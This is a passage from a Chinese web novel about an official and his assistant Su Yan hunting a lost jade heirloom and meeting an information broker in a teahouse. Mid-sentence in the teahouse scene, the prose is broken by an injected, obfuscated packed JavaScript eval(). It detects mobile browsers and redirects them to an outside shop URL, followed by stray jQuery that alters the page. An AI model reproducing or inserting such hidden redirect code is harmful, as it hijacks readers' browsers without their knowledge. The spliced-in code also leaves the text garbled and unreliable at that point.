庄鹤止没立刻说话。过了一会儿，他轻轻叹了一口气，像是有点烦，又像是觉得无聊。 “哦。”他平淡开口，“原来是记恨官渠那档子事。” “陈显贵。”庄鹤止道，“可能你每天大门不出二门不迈，不太清楚外面的事。你出来闹之前，有没有人告诉过你，掌管河道修缮的刘主事上个月因为吃了不该吃的回扣，刚被罢了职？” “正在风口上，你敢找我要五千两？这五千两，我敢给，你敢要吗？有人问起，你如何解释由来？” “听说刘主事以前也沾手过官渠的账，你猜，我要是现在去找他聊聊，给他个将功补过的机会，他会不会把你家那些年里应外合吃回扣的烂账倒得一干二净？” 陈显贵张了张嘴，没发出声音。 “至于鉴宝会。”庄鹤止语气更淡了，“你尽管闹。闹大了，州府派人下来查，第一个查的不是我，是你陈家。玉在你家丢的，人证是你家的人，你现在还跑来威胁主办官员。你说，上头是会觉得我办事不力，还是会觉得你陈家特别可疑？” 他无可奈何地看了陈显贵一眼。只见陈显贵愣在原地，有些发怵，他摇了摇头，像是在看一个啥也不懂还非要闹的孩子。 “苏厌。”他侧头低声说，“辛苦你去把今年展品的清单目录找出来，连同陈公子刚才说的那些，关于官渠和如何让我卷铺盖走人的话，一起整理个概要。晚点我拜访李大人顺道给他看看，让他心里有个数。” “好。”苏厌答应得干脆，立刻转身进屋，看都没看陈显贵。 庄鹤止又对陈显贵道：“还有事吗？没事就回吧。陈公子酒还没醒，你们送送他。”他示意身旁的衙役。 他正准备转身，又回过来道：“至于庄大壮，既然你坚持是他偷了玉，那就请你把他看好了。玉找回来之前，他少了一根头发，我都只能认为是你陈家伤害重要证人，想要灭口销赃。” 说完，他也转身进去关上门，把陈显贵晾在原地。 11. 第 11 章 无论如何，面对陈显贵的威胁，气势不能输。 等到陈显贵终于走了，苏厌这才在房里开始复盘起来：“九河灵璧，当真是右侍郎大人点过的？你准备不理会吗？” 她并不着急，只是双手抱在胸前，饶有兴致地看着庄鹤止。 苏厌看出来了，他不是那种说不管就真的不管的人，从最后那几句话就能知道，他心里还是有那个堂弟一席之地的。 庄鹤止好像听出了苏厌的意思，嘴硬道：“你别误会，我没有要救庄大壮的意思，我只是不想事事顺陈显贵的意。他越想让我焦头烂额，我越不能让他如愿。” “好好好。”苏厌连连点头，“但遗失的展品要怎么办？看陈显贵那样子，确实不像是在说谎。” 庄鹤止若有所思：“我们还是得找找那块玉，否则，鉴宝会这边不好交代。” “你打算怎么找？”苏厌追问，“若是他们自己贼喊捉贼，玉早藏严实了。若是外人偷的，要从哪里入手呢？” “先从陈府查起。”庄鹤止说，“陈显贵蠢，但他爹陈万金不傻。若真是栽赃，玉多半还藏在府里某处。他既然来窑埠司提了这回事，我便以协查贡品失窃的名义，带人进去看一眼，他们不敢硬拦。” 庄鹤止想了想，欲言又止：“……刚好也顺着这个由头，把庄大壮从他们手里弄出来。” 苏厌笑笑，立刻明白了：“你想用协助官府查案的名义暂时提人？” “嗯。”庄鹤止不情愿地点头。 苏厌又想起什么：“但如果真是外人偷的呢？总要有个找的方向。赃物出手要门路，当铺黑市，或者几家和陈家有旧怨的，是不是也得留意？” “陈府那边，我带两名州府来的差役同去，以示公允。”庄鹤止起身，“其他的你去查。先去准备，半个时辰后，分头行事。” 庄鹤止点了两名州府来的差役，径直去了陈府。 陈万金倒是客客气气迎出来，话里话外都是家门不幸和管教无方，一副处事圆滑的老狐狸的作态。 搜检自然也没有什么结果，陈府上下口径一致，玉是一个多星期前，陈万金带去城外别庄赏玩时，在路上遗失的，他当时也回去找过，但没找到玉的踪影。 庄鹤止带人把陈府角角落落看了个遍，确实没有藏玉的痕迹。庄大壮倒是被他顺势带了回来。 回到窑埠司的时候，苏厌不在司里，应当是出去调查了还未回来。庄鹤止沉着脸，灌了口茶，心想：我这边走进死胡同了，苏厌，你可得查出点东西来。 苏厌走出窑埠司，没急着往哪去，倒先拐进了街角常去的糖水铺。 午后人少，她要了碗桂花甜酒酿，慢条斯理地享受着。 忙了大半天，总算能坐下来喘口气了。 老板娘端着托盘过来收拾邻桌，瞧她一眼，擦着手笑道：“苏姑娘，你今天气色不大对，眉头拧着呢。怎么了，是我家今天的糖水不好吃？” 苏厌咽下嘴里的丸子，连连摆手：“不是不是，那哪能啊，你家糖水全镇最好吃。” 苏厌心想，令我苦恼的事虽然不能往外说，但趁此机会打听打听也未尝不可。 她顺势叹了口气：“哎，其实我是碰到难事了。我上阵子去郊外踏青，把家里长辈一件顶要紧的祖传物件弄丢了。怕是被人摸去，流到见不得光的地方了。我怕家里长辈过问，正苦恼着呢。” “老板啊，我初来乍到的，也不熟咱们这儿，您说，像这样的东西，会不会落在哪家赌坊暗庄里？或是镇上有没有那种，不能明着说的黑市路子？”苏厌眨眨眼睛问。 老板娘左右看看，来到苏厌这桌坐下：“你怎么把那么重要的东西给人摸了去了？哎，看你孝顺，我给你支个招。赌坊暗庄嘛，这些我说不准，但是你要是想打听寻常人不知道的消息，倒是有个去处。” “窑坊镇南边住着个方七娘，是专门做消息买卖的。三教九流都有她的眼线，码头扛包的夜里打更的，或者走街串巷的街边卖糕点的，保不齐都替她打听过消息领过她的铜钱。江湖上大小事情，她多半都知道。” 老板娘直起身：“这人神出鬼没，没人见过她的真容。不过，你要找她倒也不麻烦，你先去镇上的刘记酥饼铺买两个红豆馅儿的酥饼，然后趁饼还热着赶到流芳茶馆，点一壶碧螺春，茶上来后，把其中一块饼掰开放着，壶盖翻过来扣在桌上，然后安心喝茶就行了。” “你这样摆好了，要是有人来你桌上，那就是她愿意见你，接了你这活。要是等上一天都没人理你，你喝完茶直接走就是了，也不惹眼。” 苏厌默默记下，等听完，碗里的甜酒酿已经凉了。她两口喝完，向老板娘道谢，还多付了几文钱。 她起身前，老板娘特意叮嘱：“刘记酥饼铺的红豆酥饼好买，但赶到流芳茶馆需要点儿时间，苏姑娘可得赶快点儿，要是饼冷了，那方七娘就会认定你的事根本没有多紧急，也就不会接了。” 苏厌从糖水铺离开，径直去了刘记酥饼铺。 好在现在不是饭点，排队的人不多，她很顺利地就买到了两个红豆酥饼。 那油纸包一拆开，香气就扑了出来。 这家铺子红豆酥饼的香味不单单是甜，更带着一股炒得沙沙的红豆的特有的醇厚，混着烘透了的酥油和奶脂的味道。 饼子本身也是酥到骨子里，苏厌只捏着油纸轻轻一碰，金黄的饼皮就脆脆地炸开往下落。 拿到手的那一刻，苏厌口水忍不住咽了咽。 早知道这么香，若不是急着赶去流芳茶馆，高低也要给自己买两个。 她把红豆酥饼藏在外衫内层的暗袋里，贴着中衣暖着，接着马不停蹄赶到流芳茶馆。到门口时，她大口喘气，伸手进去一摸，不错，还是热乎的。 午后的茶馆，来喝茶的人不少，一楼已经坐满了。 苏厌边观察着四周边慢慢走上二楼，找了个靠窗的座位坐下，叫了一壶碧螺春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319176|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她按照老板娘教的，把其中一块饼掰开放好，又在茶上来后，将壶盖倒扣在桌上。 苏厌环视四周，来来往往好些人，却没见到这个方七娘的影子。 因为等人没其他事情做，苏厌动作很快，不一会儿已经喝完了一壶。“伙计……”苏厌正准备再叫一壶茶，刚抬手，就将身旁一个孩子手里的木偶扫落在了地上。 “姐姐，不好意思！”那小孩看着水水灵灵，穿着一身鹅黄衣衫，圆脸，一双杏眼，梳着双螺髻，因为撞到了苏厌，正连连道歉。 苏厌站起身来，替她捡起木偶：“没关系的小朋友，是我碰掉了你的木偶。” 正准备归还，那小孩竟然用极富魅力的成年女人声线在自己耳边说：“苏姑娘，二楼听竹雅间，茶已经给你备好了。” 苏厌的动作停在原地。 她抬眼看去，那确实看起来是个孩子，天真圆润，还对她眨巴着大眼睛歪着头笑了笑。 “对了，我的红豆酥饼也记得带进来，捂坏了或者放凉了，我可不认。”眼前这孩子往前凑了凑，伸出小手一把抓过那个木偶，又换回小孩的声线大声道：“谢谢姐姐！” 小孩说完往听竹雅间走，苏厌也不犹豫，带上红豆酥饼就跟了过去。 推门而入，室内茶香袅袅，一把陶壶正在小炉上发出“咕嘟咕噜”的声音。 窗边背对她站着一个身影，正是方才那个孩童。 听见动静，那人转过身来。依旧是那张孩童面孔，可周身气质已截然不同。 方七娘示意苏厌坐下，先一步把那红豆酥饼接了过来，一口咬下去，十分享受地咀嚼着。 “嗯！老刘家的酥饼吃了这么多年，味道真是一点没变过，红豆馅儿也实在，一个饼一半都是馅儿！”她火速吞下了一个，又咽了口茶顺了顺，一只手肘支在椅靠上，掌心托着侧脸，看着苏厌。 苏厌先开口：“方掌柜既然知道我是谁，那也一定知晓我的来意。” “你是为了一块玉。”方七娘接话，“九河灵璧。” “这是陈万金家的传家宝，也是镇上鉴宝会的其中一个重要展品。七天前在城西通往别庄的官道附近遗失。陈家少爷大张旗鼓去你们那闹，还私底下扣了庄家那个傻大个，想把水搅浑，我说得可对？”方七娘笑盈盈地望着苏厌。 苏厌点头：“全对。方掌柜消息果然灵通。” “其实，此番我来，是想请问方掌柜，玉的下落，可有什么线索？” 方七娘没有回答，伸出一根手指：“这个问题，十两。” 苏厌没有犹豫，将一堆碎银子放在桌上。 方七娘先是反问：“你们一定已经去过陈府了，他们怎么说？可搜出了什么？” 苏厌摇摇头：“一无所获。陈府上下咬定玉在府外丢的，不在府内。” “他们没撒谎。”方七娘道：“玉确实不在府内。不过，陈万金对你们确实有所隐瞒。”